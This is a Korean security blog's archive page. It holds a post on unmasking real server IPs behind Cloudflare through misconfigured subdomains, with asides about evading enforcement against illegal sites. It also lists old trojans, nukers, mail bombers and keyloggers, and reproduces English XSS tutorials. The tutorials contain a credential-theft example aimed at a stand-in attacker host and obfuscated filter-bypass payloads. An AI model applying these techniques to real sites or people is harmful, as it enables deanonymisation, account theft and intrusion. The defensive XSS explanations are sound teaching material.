Search Results for '해킹&보안/해킹팁'


29 posts related to '해킹&보안/해킹팁'

  1. 2017/03/23 Cloudflare CDN 서브 도메인 실수 하면 진짜 IP 잡을수 있습니다
  2. 2012/07/27 해킹툴 기능별 분류 - 정리
  3. 2011/09/14 Cross-Site Scripting
  4. 2011/09/14 What is cross site scripting
  5. 2011/09/14 Cross Site Scripting Attack
  6. 2011/09/14 세션 고정 취약성의 예
  7. 2011/09/14 SQL 삽입 공격 - XSS공격
  8. 2011/09/14 파이어폭스로 웹해킹 툴로 사용해보자. 1
  9. 2011/09/11 해킹툴 기능별 분류
  10. 2011/09/07 웹해킹 방어를 위한 KrCERT/CC권고사항 1
  11. 2010/11/06 NMAP 리눅스용 - 사용법 - 추가
  12. 2010/08/04 radmin bat 6
  13. 2010/06/03 Wget 으로 회원 정보 빼오기
  14. 2010/04/14 tcpdump 명령어 및 ftp 패킷 보기
  15. 2010/04/14 tcpdump 패킷스니핑
  16. 2010/03/29 디버거들이 잘 정리되어 있는 사이트
  17. 2010/03/29 램을 이용한 디스크 암호화 깨기
  18. 2010/03/14 윈도우 (WINDOWS) 해킹 머신 으로 쓰자. ^^ 1
  19. 2009/11/20 악성코드 그림파일 JPG 등에 포함 하기. ^^ 1
  20. 2009/09/30 HDSI툴분석
  21. 2009/09/30 Linux >= 2.6.13 prctl kernel exploit
  22. 2009/09/30 Windows SHELL32.DLL Denial of Service exploit
  23. 2009/09/30 SSH1 remote root exploit
  24. 2009/09/30 쉘코드 제작해주는 프로그램 소스
  25. 2009/09/30 PHP-Nuke 'cid' SQL Injection
  26. 2009/09/30 Linux Kernel PRCTL Core Dump Handling (>= 2.6.13 && < 2.6.17.4)
  27. 2009/09/30 IDAutomation Bar Code ActiveX Multiple Remote Vulnerabilities
  28. 2009/09/30 MS Internet Explorer (Print Table of Links) Cross-Zone Scripting PoC
  29. 2009/09/30 리모트에서 명령어 실행시키기 -cmd에서
오늘 오전 친구 전화가 왔네요 ㅜㅜ 

완전 불법은 아니지만 불안해서 서버는 한국에 놓고 Cloudflare CDN 을 통해서 진짜 IP 를 감추는 작업을 하고 혹시 모르니

테스트 한번 부탁한다고 연락이 왔습니다. 

통상 Cloudflare CDN 으로 IP 를 우회 한다면 도메인 정보만 가지고 한국에 있는 IP 를 알기는 힘든 일입니다. 그래서 대한민국 

불법 사이트를 운영해도 문체부 및 사이버수사 등에서 아무 역활도 못하고 도메인 차단만 하고 있습니다. 도메인 차단 한다고해도 

HTTPS 로 구성하면 일반 사용자도 접속할수 있습니다 아직까지 HTTPS 로 구성하면 불법 사이트 접속 차단 어렵습니다. 아마도

저작권  관리하는 문화체육관광부(산하) 에서 토렌트등 불법 사이트 수사를 진행 하고 있으나 전문적 지식없이 공개 소스로 호스팅 받아서 홈페이지 운영해서 토렌트 파일 몇개 올리는 이런 사이트만 단속하고 있습니다. 

이런 일반 사이트 (PING 도메인) 으로 IP 확인후 http://whois.kisa.or.kr/kor/main.jsp 사이트 통해서 통신사 까지 확인하고 다급한 상황이 아니면 공문을 통해서 IP 위치 파악후  압수 수색영장 받아서 압수수색합니다.ㅋㅋ

초등학생이 멋모르고 압수수색영장 가지고 쳐들어오면 무섭겠죠!

이렇게 조사해서 검찰로 넘기는 역활 까지 하는듯 합니다. 그러면 MBC 에서 문체부 최고에 기술력으로 토렌트 불법 사이트 집중 단촉 성과 100% 이런 기사가 나오죠. 

멋모르고 걸린 사람은 벌금 1천만원 정도 나오죠. 이렇게 잘 아는 이유는 예전 토렌트 수집기를 개발해서 시험삼아 구동중 구글에서 수집해 가는걸 모르고 있다가 . 나중에 알게되어 사이트 접속을 차단 했습니다.

이후 문체부 에서 압수수색 영장을 가지고 사무실로 왔더군요. 운영도 안하고 접속도 안된다고 했는데 그냥 이유 없이 실적이구나 생각했는지 PC를  검색 하기 시작합니다. TORRENT 파일은 없고 개발 소스등이 나왔는데 . 

이후부터 대전까지가서 조사를 받기 시작 했습니다.

아마 10번 정도 갔듯 합니다. 직원들도 조사 받았어요 ㅜㅜ 젠장

이후 검찰로 넘어가서 벌금 1천만원이 나왔네요.

귀찮아서 그냥인정하고 벌금 내고 끝나긴 했지만.  혹시 불법,사이트운영,수익, 등을 생각했다면

당장 Cloudflare CDN 통해서 운영했을텐데 그럼 절대 못잡을건데 돈 천만원만 날렸네. ㅋㅋ

각설하고 

통상 Cloudflare 통해서 도메인을 숨기는 작업을 합니다.

그리고 차단을 막기 위해 HTTPS 로 리다이렉트 시키죠 하지만 실수로 개발중 서브 도메인을 실 IP 로 연결 하는 경우가 종종 있습니다.


이를 확인하는 방법입니다.

Cloudflare Resolver라는 사이트가 있습니다 이곳에서 검색해 보십시오 . 


CloudFlare 에서 사용중인 NS 이름에 대한 레코드에 연결된 IP를 확인할수 있습니다. 친구 도메인 검색하니 FTP IP 가 확인되네요

친구에게 전화해서 알려주었습니다.

PS : 게시판 에 글쓰는 방법으로 관리자 IP 를 알수 있습니다. 눈치 빠른 분들 만 챙겨 가세요 ^^
2017/03/23 01:17 2017/03/23 01:17

==============================================================================
Trojan Virus / Hacking Tool
==============================================================================
Back Orifice 2000 --- cDc에서 공개한 백 오리피스 2000
Back Orifice 1.20 --- cDc 에서 공개한 백 오리피스
Back Orifice 1.3 --- 역시 BO의 업그레이드 버전
주민등록번호생성기 --- 주민등록 번호 생성기
Infector 2 --- V3에 안 잡히는 BOSERVE.EXE
Deep Bo --- BO의 업그레이드 버전!! (편리한 IP Sweep 기능)
Bo Plug-in --- 3가지 BO 플러그 인 (ButtTrumpet, SilkRope, BOFTP)
No BO 13a --- BO 해킹 방지 전문적으로 차단하는 프로그램
Net Bus 1.70 --- BO랑 쌍벽을 이루는 Trojan Hacking 프로그램
Net Bus Pro B --- 넷버스 2 프로 베타 버전 원제는 NetBus 2 Atomic Toxic
Ner Bus Pro 2.01 --- 넷버스 프로 2.01
Netbus Pro 2.1 Dropper --- Netbus Pro 2.1 Dropper
Lock Down 2000 Trojan Virus --- 전문 검사+치료 프로그램
BO SPY --- BO Gui쓰는 사람에게
Cleaner 2.0 --- bo 검사 & 치료 프로그램
BO Scanner --- Cleaner 2.0과 비슷한 프로그램
BO Remove --- BO만 치료
Modem Jammer --- IP경로 지우는 프로그램
Infector 2 --- V3에 안 잡히는 BOSERVE.EXE
스쿨버스 --- 스쿨버스입니다.
Deepthroat --- nobo에 안걸 리는 bo 서버
Subseven --- v1.7 트로이입니다.
Subseven --- 2.1 버그 패치 된 것
Pphucker --- pphucker라는 트로이

==============================================================================
포트스캔
==============================================================================
Port Scanner --- 포트 스캐너입니다.
Port Pro //
Port Test //
ChaOscan //
Tcp port scanner //
FTP Scanner --- IP주소로 FTP서버를 찾아줌

==============================================================================
WWW해킹
==============================================================================
Wwwhack98 --- 가장 잘 알려진 웹 해킹 프로그램
Webcrack --- 특별한 기능이 있는 웹 해킹 프로그램
HackerTTP1_3 --- 가장 빠른 웹 해킹 프로그램
Goldeneye --- Goldeneye라는 웹 해킹 프로그램

==============================================================================
누킹
==============================================================================
Mass nuker --- 매우 강력한 누킹 프로그램
Port Fuck --- 윈도우 98의 포트를 막아줌
Wiin nuke --- 95 화면을 먹통으로 만들어 버림
Nuke --- 강력한 누킹 프로그램
Nuke`em --- 컴퓨터를 다운시켜 버림
E-mail Nuker --- 상대방의 E-MAIL을 날려버림
Voob --- 컴퓨터를 다운시켜 버림

===============================================================================
키 로그
==============================================================================
Keylog 97 --- 키보드를 통해 누른 어떤 글자도 날짜별로 체계적으로 저장
Keylog25 //
Passpy //
Keylog //
Key rec //

=============================================================================
유닉스/리눅스
==============================================================================
폭탄메일 스크립트 --- 리눅스/유닉스용 폭탄메일
satan --- 취약점을 찾아내는 SATAN이라는 툴
saint --- SATAN이 개선된 SAINT
hack unix --- 유닉스용 해킹 프로그램
fire wall --- 리눅스용 방화벽
스니퍼 --- 몰래 엿보는 프로그램

==============================================================================
메일봄버
==============================================================================
AnonMail --- 자신의 이메일 주소를 원하는데로..
Avalanche --- 폭탄 메일
QFbomber --- 사용법이 쉬운 메일 봄버
Aenima17 --- 메일 봄버
Bomb Mail --- 메일 봄버
E-mail Bombing --- 메일 봄버
Kaboom3 --- 메일을 999장 보냄
Port Fuck! --- Win98 사용자에게 폭탄멜 보내기(누킹 툴 W98)

==============================================================================
크래커
===============================================================================
bus hacker --- 넷버스의 패스워드를 바꿔줌
John the ripper --- 유닉스 PASSWD화일을 해독
Crack Jack //
DateCrack --- 날짜제한을 없애줌
Uunix password cracker --- 유닉스 패스워드 크래커. 도스용
Zip ZIP --- 화일의 패스워드를 크랙
트럼펫윈속 --- 트럼펫윈속의 패스워드를 크랙
UNP --- 자체 압축기법 해제
UX --- 자체 압축기법 해제
마이크로 excel cracker --- 엑셀의 암호를 없애줌
Soft Ice --- 윈도우용 소프트 아이스
화면보호기 cracker --- 윈도우 스크린 세이버의 암호를 풀어줌
John The Ripper 1.0 --- 가장 유명하고 강력한 크래킹 프로그램으로 전설적인 크래킹 기록을 세움
codex TCP/IP Hacker

==============================================================================
패스워드
=============================================================================
Dripper --- 현재 어떤 ID와 PW로 접속했는지 알려줌
Revelation --- 윈도우에서 ****으로 표시된 PW를 알려줌
Cmos password --- CMOS의 패스워드를 마음데로

==============================================================================
바이러스
=============================================================================
에루살렘
핑퐁
바이러스 메이커 1,2,3

============================================================================
방어/추적
==============================================================================
Cleaner 2.0 --- 38개의 트로이를 스캔, 제거툴
Visual Route --- ip만 입력하면 상대방의 국가, 지역까지..
Lock Down 2000 --- 클리너에 버금가는 트로이 스캐너
X-ray 파일 분석기
Nobo --- BO 침투자를 막아주고 IP를 알려줌
Bospy --- 딥보 침투자에게 역해킹..
No Nuke --- 누킹을 막아줌
Nuke Nabber --- 누깅을 막아줌
Neotrc201 --- IP 추적기
Antigen102
Net Buster --- 넷버스를 없애주고 침입자를 물리
Fire wall 98 --- 개인 방화벽
Bo remover --- 백오리피스를 빠른속도로 없애줌
Conseal fire wall --- 개인 방화벽
T.D.S.2 --- 294개의 트로이를 제거해줌

===========================================================================
필수유틸
=============================================================================
Jammer --- 자신의 접속 경로를 지워줍니다.
HAKTEK --- 포트스캔, 핑거, 메일봄버 등이 하나로
com2exe --- *.com을 *.exe화일로...
bat2exe --- *.bat를 *.exe화일로...
exe2com --- *.exe화일을 *.com화일로...
mouse.com --- 가끔 필요한 마우스 띄우는 프로그램
winnt->dos --- 윈도우nt 파일을 도스에서 마운트

2012/07/27 20:20 2012/07/27 20:20

Cross-Site Scripting

Cross-site scripting ('XSS' or 'CSS') is an attack that takes advantage of a Web site vulnerability in which the site displays content that includes un-sanitized user-provided data. For example, an attacker might place a hyperlink with an embedded malicious script into an online discussion forum. That purpose of the malicious script is to attack other forum users who happen to select the hyperlink. For example it could copy user cookies and then send those cookies to the attacker.

Details

Web sites today are more complex than ever and often contain dynamic content to enhance the user experience. Dynamic content is achieved through the use of Web applications that can deliver content to a user according to their settings and needs.

While performing different user customizations and tasks, many sites take input parameters from a user and display them back to the user, usually as a response to the same page request. Examples of such behavior include the following.

  • Search engines which present the search term in the title ("Search Results for: search_term")
  • Error messages which contain the erroneous parameter
  • Personalized responses ("Hello, username")

Cross-site scripting attacks occur when an attacker takes advantage of such applications and creates a request with malicious data (such as a script) that is later presented to the user requesting it. The malicious content is usually embedded into a hyperlink, positioned so that the user will come across it in a web site, a Web message board, an email, or an instant message. If the user then follows the link, the malicious data is sent to the Web application, which in turn creates an output page for the user, containing the malicious content. The user, however, is normally unaware of the attack, and assumes the data originates from the Web server itself, leading the user to believe this is valid content from the Web site.

For example, consider a Web application that requires users to log in to visit an authorized area. When users wish to view the authorized area, they provide their username and password, which is then checked against a user database table. Now, assume that this login system contains two pages: Login.asp, which created a form for the users to enter their username and password; and the page CheckCredentials.asp, which checks if the supplied username/password are valid. If the username/password are invalid, CheckCredentials.asp uses (for example), a Response.Redirect to send the user back to Login.asp, including an error message string in the query string . The Response.Redirect call will be something like the following.

Response.Redirect("Login.asp?ErrorMessage=Invalid+username+or+password")

Then, in Login.asp, the error message query string value would be displayed as follows:

Using this technique, when users attempt to login with an invalid username or password, they are returned to Login.asp and a short message is displayed indicating that their username/password were invalid. By changing the ErrorMessage value, an attacker can embed malicious JavaScript code into the generated page, causing execution of the script on the computer of the user viewing the site. For example, assume that Login.asp is being called using the following URL.

http://www.somesite.com/Login.asp?ErrorMessage=

As in the code for Login.asp, the ErrorMessage query string value will be emitted, producing the following HTML page:

The attacker embedded HTML code into this page in such a way that when users browse this page, their supplied username and password are submitted to the following page.

http://www.hax0r.com/stealPassword.asp

An attacker can send a link to the contrived page via an email message or a link from some message board site, hoping that a user will click on the link and attempt to login. Of course, by attempting to login, the user will be submitting his username and password to the attacker's site.

Prevention

Cross-site scripting is one of the easiest attacks to detect, yet many Intrusion Prevention Systems fail to do so. The reason why cross-site scripting can be easily detected is that unlike most application level attacks, cross-site scripting can be detected using a signature. The simple text pattern

To accurately detect cross-site scripting attacks the product must know where and when to look for that signature. Most cross-site scripting attacks occur either with error pages or with parameter values. Therefore the product needs to look for cross-site scripting signatures either within parameter values or within requests that return error messages. To look for signatures in parameters values the product must parse the URL correctly and retrieve the value part and then search for the signature on the value while overcoming encoding issues. To look for signatures in pages that return error messages the product needs to know that the specific URL returned an error code. Intrusion Detection and Prevention Systems which are not Web application oriented simply do not implement these very advanced capabilities.

2011/09/14 02:19 2011/09/14 02:19

What is cross site scripting

Cross site scripting (XSS) is where one site manages to run a script on another site, with the privileges of you, the user.

In many pages, this would be completely harmless. But now imagine that you have logged into site A, and that site has used a session cookie to store your identity. If site B manages to make you load a page on site A containing a script they have injected into it, that script could take the cookie for site A, and send it to site B. The person running site B can now use your cookie in their own browser, and can now use site A, making it think they are you.

In the case of site A being a blog or forum, they could erase or alter your posts, add new abusive posts, or erase your account. In the case of Web mail systems, they could send abusive email to your colleagues, delete any emails, or read all the passwords you have been sent in your email, which may give them access to even more systems. In the case of it being a banking site, they could make large cash transactions using your bank account. In the case of banking or shopping sites, they could obtain your banking details, and use them to make their own purchases.

XSS can also be a problem from users on shared sites, such as forums or blog comments, where users may find a way to inject scripts into page content, where the exploit can survive much longer than just a single page load.

Cookies are not the only target of cross site scripting, but they are a very easy way to exploit a simple mistake made by the site author. In some cases, it may be possible to inject a script onto the login form of the site, and convince you to fill it in, and then they can make it send them your password. Or they could simply make it load another page on the site, submitting form data to it, or using other means to perform actions on your behalf.

Unlike phishing scams where a site tries to trick users into thinking it is another site, XSS is the real site, not a fake. It has just allowed another site to run a script on it, in the context of one of its users.

What is cross site request forgery

Cross Site Request Forgery (XSRF or CSRF), also known as Cross Site Reference Forgery, is similar in some respects to XSS, but very different in one important respect. It does not rely at all on being able to inject a script. It is more unreliable, but its effects can be just as damaging.

The general idea of XSRF is that while you are logged into site A, you also look at a page on site B. Site B is evil, and submits form data to site A, or requests Web pages from site A using some other means. Since you are logged into site A, it uses the form data as if you yourself sent it. That may then do all of the same things as XSS attacks, such as creating forum posts, or making bank transactions.

Having strong passwords that cannot be guessed or calculated is always a good idea, but XSRF (and XSS) bypasses that part of the protection, as it works once the user has logged themself into the site using their strong password.

Who is to blame

Blame is a fairly harsh word, since it is the attacking site B that is really to blame, but evil sites are a fact of life, and site A should protect its users. XSS in particular is always the result of a mistake on the part of the site with the vulnerability. XSS is also worryingly common, many sites make the basic mistakes that allow XSS attacks.

How can users protect themselves

Most users are not even aware that XSS and XSRF are possible. And they should not need to be. Users should not be expected to be security experts - if they were, you as a Web developer would be out of a job. However, users who wish to protect themselves can take a few steps to do so.

The basic step is to never open other sites while you are logged into a site. This means that while you are logged into your bank, shopping site, blog, forum, web mail, side admin section, etc., never open another site in any window. Do not click links in emails, or other applications. If you use Internet Explorer (I recommend against this if you value your security), do not run programs like Word (that includes opening attachments in email), or generally any other programs that view Web pages, as many Windows programs use the Internet Explorer engine either directly or via macros, and may be used as a vector for these attacks.

If the site uses cookies to log you in, make sure you log out when you are finished using it. If the site does not allow you to log out, or if it uses HTTP authentication, then restart your browser. If the site uses a cookie based login but not session cookies, and does not allow you to log out, then you may find that your browser allows you to delete those cookies manually.

The next step is to disable JavaScript while logged into a site. This may seem like a drastic measure, but it will protect against virtually all XSS (but not XSRF) attacks. Unfortunately, many sites will not allow you to use them without JavaScript, so this step may not be possible. If the site is important enough, such as a bank, but still does not allow you to disable JavaScript, then I suggest you use a different bank.

You may also want to disable iframes if your browser (such as Opera) allows that. This step should not be necessary as long as you do not browse other sites at the same time, but if you do, it makes it a little harder for XSRF attacks to be carried out, as most (but by no means all) of them use iframes.

All of these measures are extremely limiting, and certainly not something most users would want to do. So the final step will always be the one that is preferred: Make sure the sites you log into have actually checked their sites for XSS and XSRF attacks. Not just that they are aware that they exist, or believe they are safe, but that they have actually run checks to make sure they are protected against those attacks.

How do you know what type of login a site is using

Cookie logins are fairly easy to identify. They are almost always what can be seen as a form on a Web page, asking you for a username or email address and password. HTTP authentication (or similar types of authentication) are shown as a dialog that appears in its own little dialog window in front of the Web page, asking you for a username and password.

Shopping sites almost always use either a cookie or a URL encoded session ID, and virtually never use HTTP authentication. In general, you can tell which they are using by looking at the page address. If it contains a large amount of seemingly random characters (usually near the end of the address), then it is probably using a URL encoded session ID. Otherwise it will be using a cookie.

Working out if a cookie is a session cookie or not is a little harder. Some browsers may allow you to see the properties of stored cookies, or to prompt for them with their details when the server tries to set them. However, a simple test is to log into the site, then without logging out, close all browser windows, then restart the browser, and try reloading pages on the site. If you are still logged in, then it is not a session cookie.

There are some alternative types of login, such as using a client certificate (which you will normally have been asked to install at some point), or IP based authentications (typically used on local intranets). It is not normally possible to log out from either of these, even by restarting your browser. In general, you can identify these either because you had been asked to install a client certificate (not a normal root certificate), or because you never had to log in in the first place.

How can Web sites protect themselves

These are very complex issues, and there are no simple solutions, but there are certain things that the site should always do. In almost all cases, it is server side scripting that needs to be changed or fixed.

Cross site scripting

This is by far one of the most common mistakes made by Web authors, and turns up on a substantially high number of sites - even those you would expect to be written by knowledgeable authors. Some even dismiss these mistakes as harmless, or trivial, ignoring the dangers of what those mistakes can present.

The vulnerabilities themselves are not almost never created by sites having poorly written JavaScripts. XSS vulnerabilities are usually caused by a server side script that allows another site to put a new and dangerous JavaScript on the page. A site does not need to have any JavaScripts of its own for it to be vulnerable to XSS attacks.

Let us take this simple example; somewhere on a site, there is a form that a user can fill in. If they fill it in with invalid details, the form is displayed again, with what they typed last time shown in the the form inputs, allowing them to change whatever was wrong. This is often done with login forms, although it could in fact be any form on the site while they are logged in. On its own, this is not dangerous at all, and is in fact a very good thing.

The problem is that some sites forget to escape the data before putting it back into the form. Assume that the form had this:

<input name="foo" value="">

Now assume that the site displays it to the user like this (I will use PHP here, but it could in fact be any server side language):

<input name="foo" value="<?php
print $foo;
?>">

With that single, simple print command, the site has opened itself up to XSS attacks. Imagine now that the evil site uses an iframe, link, image URL or form submission to the url:

http://goodsite.com/sillypage.php?foo=%22%3E%3Cscript%3Einsert-evil-script-here%3C/script%3E%3C%22

The server side script would then create this in the page source code:

<input name="foo" value=""><script>insert-evil-script-here</script><"">

The implications of this are immediately obvious. The evil script could then load other pages on the site using XMLHttpRequest, even taking any URL encoded session ID into account, and in doing so it could add or change data, or make form submissions, etc. It could also read any session cookies, and send them back to the evil site as part of a URL using an iframe, image, script, stylesheet, or just about any type of external content. The possibilities are fairly limitless. This simple change would have protected the site:

<input name="foo" value="<?php
print htmlspecialchars($foo);
?>">

Although forms are the most common place where this happens, it is not the only time this can be a problem. The same situation occurs if a site writes unescaped content as part of any page content - for example, many pages use a single page that writes whatever information it was passed as a page heading.

sillypage.php?content=%3Ch1%3EPage%203%3C/h1%3E

Note that even if scripting is prevented by other means, an attack could, for example, display a false login form to the user, that sends the details to another site. They could also display misleading information. Though not as harmful as a XSS vulnerability, as it needs the user to be tricked into following those instructions, this is still a problem that needs to be prevented.

Escaping data

So the solution is to ensure that if contents like this are entered into the form, that the server side script escapes them before adding them to the page content. HTML offers a simple way to escape these; use HTML entities for < >& and " characters. Yes, for virtually all situations, this really is all it takes. PHP offers a simple function to do this; htmlspecialchars. Other languages sometimes offer ways to do this, but some do not. One of the big offenders is JSP which, to my knowledge, has no equivalent method. Authors simply do not realise they should create one for themselves. Many JSP pages are left open to XSS attacks as a result.

It is not enough to escape just < and > characters, since quotes can be just as damaging inside an attribute. If quotes are not escaped, the attribute can be ended, and a new event handler attribute started, that triggers when the user clicks it, or focuses it, or moves their mouse over it. If you are putting the content inside an attribute, make sure the attribute uses " (double) quotes, or the attribute could also be ended simply by including a space (if using ' [single] quotes around the attribute value, make sure you tell PHP's htmlspecialchars function to convert those as well inside the attribute value).

Form data must also be escaped before using it as part of a database query, typically by putting backslashes before quotes (again, PHP has inbuilt methods for doing this). Failure to escape it could allow people to end the query, and start a second one, deleting random data, corrupting databases, or at worst, being able to run shell commands, and take over the server. A similar situation could occur if your script uses that data to construct a shell command.

Never trust URLs you are given

Some pages allow a form to submit a "next URL" value, that the user will be redirected to after the data has been processed. Sometimes this is done with a Location header, but sometimes it is done with a meta refresh or JavaScript. With meta refreshes and JavaScript, if the URL that is given is a 'javascript:' URL, then the script will run. A malicious site could easily use this as a way to post scripts onto a page. Always check that URLs provided as form data start with a trusted protocol, such as 'http:' or 'https:'.

Being careful with scripts

In very rare cases, cross site scripting vulnerabilities are created within JavaScripts. Although far less common than server-side script mistakes, it is still possible to make equivalent mistakes in JavaScript. JavaScripts can read data passed in the URL, and must be careful how they process that data. If they assign that data to any object that accepts url values, such as the src of an image or the location object, any scripts can be injected into it.

An example of where this usually occurs is an image gallery script, where the image to display is passed as a parameter to the page address, and a script then extracts it to display the image. If a script accepts URLs as a parameter, it must always check that the URL starts with a trusted protocol, such as 'http:' or 'https:', or it will leave itself open to this sort of attack:

http://goodsite.com/gallery.html?showimage=javascript:evil-script-here

Similarly, if the data is evaluated by the page using the eval or an equivalent method, attackers can simply feed their script directly into that parameter. A script must never evaluate something passed as a parameter to the page.

Using HTTP-only cookies

Cookies that are set via HTTP (such as authentication cookies) are also available to scripts. One of the most common demonstrations used for cross site scripting, is taking another user's login cookie, and then performing some action as them. If the cookie was not available to scripts, they could not take them. Internet Explorer and recent versions of some other browsers allow an optional 'httponly' parameter when setting HTTP cookies, which prevents them from being accessible to scripts.

This is not a solution, as it has only limited scope. For a start, this is only useful if all browsers support it - as I have already said, the exploit only needs to work once in one browser for it to be successful. More importantly, however, cookies are rarely used in real exploits. Someone who manages to inject a script into someone else's page is not very likely to use their cookie themselves, as that would immediately give away their IP address, making it easier to locate and prosecute them. They are far more likely to run a script there and then, to do the damage through the user themself. HTTP-only cookies give a false sense of security; they may protect some people from demonstrations, but they will not protect from real attacks.

Of course, the main point is that it should never be allowed to get to this stage. XSS should be prevented at all costs. If you have a XSS vulnerability in your site, then cookie stealing is the least of your problems. Fix the real problem, not the symptom.

Using HTTP authentication

HTTP authentication is like the HTTP-only cookie, except that it works in all browsers. It still suffers from the same false sense of security, however, and in addition, no browser currently allows you to log out of it, meaning it is more susceptible to delayed XSRF attacks.

Storing safer cookies

Some sites take the simple approach of saving the user's username and password in the cookie. This is an instant giveaway if a XSS attack manages to get the cookie, as they have the username and password. Even if the user logs out, the attacker can log in again. It is better to store a unique session ID. That way, if they log out and the server invalidates the session, the attacker can no longer do anything with the cookie. To make it even harder for an attacker, the server can tie the session ID to the user's IP address. Attackers would have to be able to use the same IP address for them to exploit it - this is possible (for example, they may be behind the same NAT), but it makes it much harder.

However, again, cookies are only a minor concern considering that the XSS vulnerability can be exploited in a number of ways, that do not need any cookie at all.

Allowing only certain HTML input

Some people want to allow certain HTML to be used, but not others. Typically, this is for forums, where users should only be allowed to enter basic HTML that does not affect other users, or blogs, where comments should only use basic HTML. This is certainly not trivial, and unless you are very experienced in avoiding XSS attacks, I suggest you leave well alone, and escape everything.

However, if you feel that you know enough to do this, then prepare to step into a minefield.

The basic idea is not to remove anything you think is dangerous, but to remove everything unless you know it is safe. The number of ways that scripts can be added to a document is quite staggering - some of these only work in certain browsers, but it only takes one of these to work in one browser for the exploit to be a success:

  • A script tag.
  • A script tag that has a namespace prefix in its tag name;
    <div xmlns:foo="http://www.w3.org/1999/xhtml">
      <foo:script>...script here...</foo:script>
    </div>
  • Event handler attributes - these typically begin with 'on', and may have spaces before and after the '=' sign (and can also have a namespace prefix).
  • Link href (A, AREA or LINK elements, or XML processing instructions), base href, image src, input src, image usemap, form actions, input actions, xform submission actions, object data (or equivalent PARAMs such as url), object codebase, embed src, applet code, applet archive, applet codebase, iframe src, frame src, img longdesc, iframe longdesc, frame longdesc, blockquote cite, q cite, ins cite, del cite, meta refresh, meta link, body/table/th/td background, XLink URLs, DOCTYPE SYSTEM identifiers, ENTITY SYSTEM identifiers, and generally any attribute that acceps a URI value - all of which can have a 'javascript:' URL (or a 'vbscript:' URL in IE).
  • Any of those within a custom namespace.
  • Any attribute in Netscape 4 that uses JavaScript entities (or script macros) such as align="&{...script...};".
  • Any of those elements (or a parent element) using xml:base with a 'javascript:' URL as its value.
  • CSS url(javascript:...) values (these can also be in imported or linked stylesheets).
  • CSS @import "javascript:..." (these can also be in imported or linked stylesheets).
  • CSS -moz-binding or behavior (these can also be in imported or linked stylesheets).
  • CSS expression (these can also be in imported or linked stylesheets).
  • HTML style attributes that use any of those CSS methods.
  • Iframes, frames, links, etc. with 'data:' URLs of pages containing scripts (currently these are treated by some browsers - but not all - as a script from another domain, but that is not a requirement, and browsers may change in future, since a same-domain response is expected and more useful).
  • Objects, embeds or applets that then run a script on the parent page (in most browsers this is allowed without any of the usual cross domain restrictions).
  • XML entities, which can contain any other scriptable content, and hide it behind a harmless-looking entity reference:
    <!DOCTYPE foo [
      <!ENTITY bar '<script xmlns="http://www.w3.org/1999/xhtml">...script here...</script>'>
    ]>
    <foo>&bar;</foo>
    These can also be defined in a remote file, which is loaded through a harmless-looking URL:
    <!ENTITY bar SYSTEM "http://example.com/extra.xml">
    Or even indirectly via a custom DOCTYPE, which then contains the entity references:
    <!DOCTYPE foo SYSTEM "http://example.com/untrusted.dtd">
  • XSLT which creates scripts using any of the other points (XSLT itself can also be very damaging).
  • XBL which makes additional elements or attributes become scriptable.
  • XUL which contains script elements or scriptable attributes.
  • Conditional comments, which can then contain any other HTML, but appear to be only a comment.
  • Script within SVG images (or equivalent namespaced script elements).
  • XML events 'listener' elements or namespaced attributes.
  • VoiceXML and VoiceXML events.
  • XML processing instructions (like <xml-stylesheet href="javascript:...">).

There are certainly many other ways to put a script into a page, and that is why I call this a minefield. You absolutely must not blacklist elements or attributes you know are dangerous. You must whitelist those that you know are safe. Even seemingly safe elements such as LINK (or the related CSS @import rules) can end up importing a stylesheet from an untrusted source that contains the harmful content described above.

As well as whitelisting elements, you must also whitelist the attributes that each of them may have. Anything that is not on your whitelist must be removed, or deliberately altered so that it no longer functions as the element or attribute it is intended to be. PHP has a function that is supposed to help do this, called strip_tags. However, this copes very badly with invalid HTML, and it is possible to bypass it by feeding it specially broken HTML.

Stripping tags is a fine art, and can be exceptionally difficult, as you must be able to cope with intentionally broken HTML, designed so that after the tags have been stripped, what remains is another tag that was created by the removal of another one. An example would be this:

<<script>script>...evil script...<</script>/script>

Stripping them multiple times would be equally uneffective (unless a matching 'while' loop was used until the tags had been removed), as they could be nested to indefinite levels, but could end up with something that browsers understand.

Remember that "LiNk", "LINK" and "link" are all considered to be the same tag in HTML. In XHTML, namespaced elements can also be the same as non-namespaced ones. For the sake of simplicity, it is easiest to remove anything that is namespaced; if someone is trying to use a namespace in a forum post or blog comment, then they are probably trying to exploit something anyway.

Once tags have been stripped, attributes must also be stripped, to remove any attributes that are not considered safe, or required (the HREF attribute of a link and the SRC attribute of an image are not safe, but are usually needed anyway). If there is any chance that any of your users may still be using Netscape 4, then every attribute, even if normally safe, needs to be sanitised to remove JavaScript entities.

For removing tags and attributes, you may find it more effective to use a simple XML parser that only allows the non-namespaced tags and attributes you have decided to allow. Anything else can throw an error (make sure it does not attempt to display the rendered output in the error message, or you will be back where you started).

Finally, now that you have only the markup you want to allow, you must now ensure that unsafe attributes have their contents sanitized so that JavaScript URLs and data URIs are removed. This can be more difficult than it sounds.

Removing all instances of 'javascript:' will simply not be good enough. For a start, if the content initially contained something like this, removing instances of 'javascript:' will leave it with 'javascript:':

jajavascript:vascjavascript:ript:

A while loop would be able to take care of that, but there are several cases where browsers can be tricked into treating something as a 'javascript:' URL, even though it does not look like one. Some may work in only a few browsers, some will work in all of them. Examples would be these:

ja<![CDATA[vasc]]>ript:
jav&#x09;ascript:
&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;
url("java\scr\ipt:...")
u\r\00006C\000028"\00006A\00061\0076\061\73\63\72\69\70\74\3A...")

The list of these is very extensive - some work in only selected browsers, but quite simply, if you intend to allow HTML, you must be able to recognise and disable all of them. See the XSS cheat sheet for a fairly complete list. Note that some browsers also support other potentially dangerous protocols. IE also supports 'vbscript:', BrowseX also supports 'tcl:', Netscape 4 also supports 'mocha:' and 'livescript:' which are synonymous to 'javascript:', several Mac browsers support 'applescript:' (although supposedly that is safe), and no doubt there are other obscure browsers that support scripting in other languages with their own protocols, such as 'cpp:'. Many browsers support the 'data:' protocol, which in some of them will be treated as a file from the current domain, and can contain scripts. Mozilla browsers support the 'jar:' protocol, which can be used to unpack individual files from zip archives, jar archives, doc files, odt files, etc., and run them in the context of the site they are stored on (due to a bug, it also does not update the context if the URL triggers a redirect), which can be a major problem if you allow arbitrary files to be uploaded or otherwise attached to the Web site, such as with Web mail. It can even refer to a zip file contained in a 'data:' URL, meaning that it does not need to be uploaded, and can all be contained within the URL.

